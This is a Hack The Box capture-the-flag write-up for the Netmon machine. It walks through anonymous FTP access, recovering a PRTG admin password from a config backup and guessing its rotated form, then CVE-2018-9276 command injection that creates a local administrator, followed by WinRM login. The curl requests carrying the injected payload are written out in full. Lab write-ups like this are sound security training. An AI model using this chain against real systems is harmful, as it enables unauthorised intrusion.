Netmon (HTB)
Platform: Hack The Box
OS: Windows
Difficulty: Easy
Result: SYSTEM
Attack Chain
Reconnaissance
├── nmap -p- --min-rate=5000 -> 21 (Microsoft ftpd, anonymous), 80 (PRTG 18.1.37.13946), 445 (SMB), 5985 (WinRM)
└── Anonymous FTP exposes the whole C:\ drive
Foothold (FTP + config leak)
├── ftp anonymous -> /ProgramData/Paessler/PRTG Network Monitor/
├── get "PRTG Configuration.old.bak" -> <PASSWORD> for prtgadmin
├── password rotated (2018 -> 2019) -> guessed by year mask
└── login PRTG web UI as prtgadmin
Privilege Escalation (CVE-2018-9276)
├── Create notification (Execute Program - OutFile.ps1)
├── Parameter: abc.txt | net user htb <PASSWORD> /add ; net localgroup administrators htb /add
├── Trigger notification -> EXE runs as SYSTEM -> user htb created as local admin
└── evil-winrm -> SYSTEM -> root flag
NOTE
All flags, passwords, hashes, and session tokens have been masked for ethical reasons.
Machine Briefing
Netmon is an Easy Windows Server 2016 machine running PRTG Network Monitor 18.1.37.13946 on port 80. The FTP service allows anonymous login and exposes the entire C:\ drive, which lets an attacker read the PRTG configuration backup and recover the prtgadmin password. Once logged into the PRTG web interface, the version is vulnerable to CVE-2018-9276 - the notification "Execute Program" feature allows arbitrary command execution as NT AUTHORITY\SYSTEM.
Reconnaissance
Port Scan
ports=$(nmap -p- --min-rate=5000 -T4 -Pn -n netmon.htb -oG - | awk '/open/{for(i=4;i<=NF;i++){split($i,a,"/"); if(a[2]=="open") printf a[1]","}}' | sed 's/,$//'); echo "$ports"
21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669
nmap -sC -sV -Pn -n -p "$ports" netmon.htb
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| Port | Service | Version |
|---|---|---|
| 21 | FTP | Microsoft ftpd (anonymous allowed) |
| 80 | HTTP | PRTG Network Monitor 18.1.37.13946 |
| 445 | SMB | Windows Server 2016 |
| 5985 | WinRM | Microsoft HTTPAPI 2.0 |
/etc/hosts
echo "10.129.230.176 netmon.htb" | sudo tee -a /etc/hosts
FTP - Anonymous Access
ftp -n netmon.htb <<'EOF'
user anonymous anonymous
pwd
ls
bye
EOF
230 User logged in.
Remote directory: /
02-03-19 12:18AM 1024 .rnd
02-25-19 10:15PM <DIR> inetpub
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-25-19 10:56PM <DIR> Program Files (x86)
02-03-19 08:08AM <DIR> Users
11-10-23 10:20AM <DIR> Windows
The FTP root is the entire C:\ drive - inetpub, Program Files, Users, Windows are all visible. This is a severe misconfiguration: anonymous users have read access to the whole system.
Web Fingerprinting
curl -s -i http://netmon.htb/index.htm | head -12
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: PRTG/18.1.37.13946
<title>Welcome | PRTG Network Monitor (NETMON)</title>
PRTG Network Monitor 18.1.37.13946 is identified. Public exploits exist for versions before 18.1.39 (CVE-2018-9276).
Foothold
No CVE (custom vulnerability) - anonymous FTP exposes the full C:\ drive, and the PRTG configuration backup contains the prtgadmin password in cleartext.
Reading the PRTG configuration backup
PRTG stores configuration files in C:\ProgramData\Paessler\PRTG Network Monitor\ by default. The backup file PRTG Configuration.old.bak is readable via anonymous FTP:
cd /tmp && ftp -n netmon.htb <<'EOF'
user anonymous anonymous
binary
cd "/ProgramData/Paessler/PRTG Network Monitor"
get "PRTG Configuration.old.bak"
bye
EOF
Extract the prtgadmin password from the <dbpassword> block:
grep -a -n -A3 -B1 "User: prtgadmin" "/tmp/PRTG Configuration.old.bak"
140- <dbpassword>
141: <!-- User: prtgadmin -->
142- <PASSWORD>
143- </dbpassword>
The backup (dated 2018) contains <PASSWORD>. This password no longer works - the password was rotated.
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Web login
The current password follows the same pattern with the year updated. Try the year mask:
for p in '<PASSWORD>' '<PASSWORD>'; do
echo "=== Testing: $p ==="
curl -s -i -c /tmp/prtg_$p.jar \
-d "username=prtgadmin&password=$p" \
http://netmon.htb/public/checklogin.htm | grep -E "^HTTP|^Location"
done
=== Testing: <PASSWORD> ===
HTTP/1.1 302 Moved Temporarily
Location: /public/login.htm?errormsg=Your%20login%20has%20failed.
=== Testing: <PASSWORD> ===
HTTP/1.1 302 Moved Temporarily
Location: /home
The second password redirects to /home - login successful. A cookie jar is saved for subsequent requests.
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Exploitation
Vulnerability: CVE-2018-9276 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-9276) Component: PRTG Network Monitor 18.1.37.13946
PRTG notifications support an "Execute Program" action. When a notification is triggered, PRTG runs the selected script from Notifications\exe\ with the user-supplied Parameter appended to the command line. In versions before 18.1.39 the parameter is passed to PowerShell without sanitisation, allowing command injection.
Confirming the version and notification form
The notification form is at /controls/editnotification.htm?id=new. The relevant fields are:
address_10- the executable (Demo EXE Notification - OutFile.ps1)message_10- the Parameter passed to the scriptactive_10=10- enables the Execute Program notification type
Creating the malicious notification
Payload: create local user htb with password <PASSWORD> and add it to the local Administrators group.
PAYLOAD='abc.txt | net user htb <PASSWORD> /add ; net localgroup administrators htb /add'
curl -s -i -b /tmp/prtg.jar \
--data-urlencode "id=2019" \
--data-urlencode "objecttype=notification" \
--data-urlencode "name_=pwn2" \
--data-urlencode "active_=1" \
--data-urlencode "active_10=10" \
--data-urlencode "address_10=Demo EXE Notification - OutFile.ps1" \
--data-urlencode "message_10=$PAYLOAD" \
--data-urlencode "timeout_10=60" \
--data-urlencode "schedule_=-1" \
--data-urlencode "postpone_=0" \
--data-urlencode "summode_=0" \
--data-urlencode "summinutes_=0" \
--data-urlencode "accessrights_=1" \
--data-urlencode "comments=" \
http://netmon.htb/editsettings
HTTP/1.1 302 Moved Temporarily
Location: /myaccount.htm?id=2019&tabid=2
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
NOTE
; is filtered in some PRTG builds when sent as multipart/form-data. Use --data-urlencode (application/x-www-form-urlencoded) so the semicolon survives.
Triggering the notification
PRTG does not execute the program when the notification is saved - it must be triggered by an event. The API endpoint /api/notificationtest.htm?id=N queues the notification:
curl -s -b /tmp/prtg.jar "http://netmon.htb/api/notificationtest.htm?id=2019"
<br><br><b>Other notification types:</b><br><br>EXE notification is queued up
The script runs as NT AUTHORITY\SYSTEM. Verify the new admin account:
nxc smb netmon.htb -u htb -p '<PASSWORD>'
SMB 10.129.230.176 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:netmon)
SMB 10.129.230.176 445 NETMON [+] netmon\htb:<PASSWORD> (Pwn3d!)
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Privilege Escalation
No separate privilege escalation is required. The notification script runs as NT AUTHORITY\SYSTEM (the default account of the PRTG service), and htb is a member of the local Administrators group. Log in via WinRM (port 5985 is open):
evil-winrm -i netmon.htb -u htb -p '<PASSWORD>'
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\htb\Documents> whoami
netmon\htb
User Flag
*Evil-WinRM* PS C:\Users\htb\Documents> type C:\Users\Public\Desktop\user.txt
<USER_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Root Flag
*Evil-WinRM* PS C:\Users\htb\Documents> type C:\Users\Administrator\Desktop\root.txt
<ROOT_FLAG>
IMPORTANT
OSCP report: take a screenshot of this step (command + output + timestamp).
Flags
| Flag | Value |
|---|---|
| User | <USER_FLAG> |
| Root | <ROOT_FLAG> |
Key Takeaways
- Anonymous FTP with a system-wide root is a critical misconfiguration. Exposing
C:\lets an attacker read configuration files, backups and user data without any credentials. - Configuration backups are a credential source.
PRTG Configuration.old.bakstored the database password in cleartext next to the username comment. Always checkProgramData,Program Filesand application backup folders. - Password rotation by pattern is guessable. The backup contained
<PASSWORD>; the live password was<PASSWORD>. When a leaked password fails, try predictable variations (year, month, increment) before brute-forcing. - CVE-2018-9276 - PRTG notification RCE. Versions before 18.1.39 pass the notification Parameter to a PowerShell script without sanitisation. Any authenticated user with notification rights can execute commands as
SYSTEM. ;vs|in the payload. PRTG sanitises some characters in multipart requests;application/x-www-form-urlencoded(curl --data-urlencode) preserves the semicolon that separates commands.- Notifications are not executed on save. They must be triggered by an event or by
/api/notificationtest.htm?id=N. - WinRM after admin creation. Once the injected user is in the local Administrators group,
evil-winrmon port 5985 gives a clean PowerShell session as that user.